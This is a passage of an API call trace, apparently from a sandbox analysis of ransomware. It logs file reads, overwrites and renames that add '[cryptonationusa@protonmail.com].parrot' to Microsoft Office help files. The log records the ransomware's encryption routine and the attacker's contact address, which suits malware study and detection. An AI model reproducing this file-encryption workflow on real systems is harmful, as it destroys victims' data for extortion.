hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0171.628] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.628] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.629] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.629] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd4, lpOverlapped=0x0) returned 1 [0171.629] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.629] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.631] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.631] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.631] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647228 | out: hHeap=0x5b0000) returned 1 [0171.633] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.634] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.634] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.635] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0171.635] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.637] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.637] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.637] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225fe68 | out: hHeap=0x5b0000) returned 1 [0171.639] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.639] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.640] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.640] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0171.640] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225fe68 | out: hHeap=0x5b0000) returned 1 [0171.644] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.644] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.646] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.646] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0171.678] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.678] WriteFile (in: hFile=0x284, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0171.681] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.681] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0171.684] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b2d2a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0171.684] CloseHandle (hObject=0x284) returned 1 [0171.684] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0171.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0171.695] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.695] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.696] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.697] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x27c, lpOverlapped=0x0) returned 1 [0171.697] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0171.703] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.703] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.704] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.704] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd0, lpOverlapped=0x0) returned 1 [0171.704] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.705] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.707] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.707] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.707] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647228 | out: hHeap=0x5b0000) returned 1 [0171.709] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.709] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.710] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.710] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0171.711] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.711] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.713] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.713] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.713] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225fe68 | out: hHeap=0x5b0000) returned 1 [0171.716] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.716] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.716] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.717] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0171.717] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.717] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.720] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22af630 | out: hHeap=0x5b0000) returned 1 [0171.720] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.720] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225fe68 | out: hHeap=0x5b0000) returned 1 [0171.722] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.722] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.767] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.767] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9382, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9382, lpOverlapped=0x0) returned 1 [0171.772] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.775] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b0070 | out: hHeap=0x5b0000) returned 1 [0171.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0171.782] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.795] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.796] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.796] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x69560, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x69560, lpOverlapped=0x0) returned 1 [0171.808] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.915] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.923] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.923] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.925] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.925] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x26d, lpOverlapped=0x0) returned 1 [0171.925] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.925] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.930] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.930] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.931] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.931] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcd, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcd, lpOverlapped=0x0) returned 1 [0171.931] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.931] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.936] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.936] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.937] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.937] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0171.937] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.942] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.942] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.942] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.943] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0171.943] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.943] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.947] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.947] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.948] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.948] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0171.983] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.983] WriteFile (in: hFile=0x284, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0171.986] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.986] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0171.989] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x487ee0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0171.989] CloseHandle (hObject=0x284) returned 1 [0171.989] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft 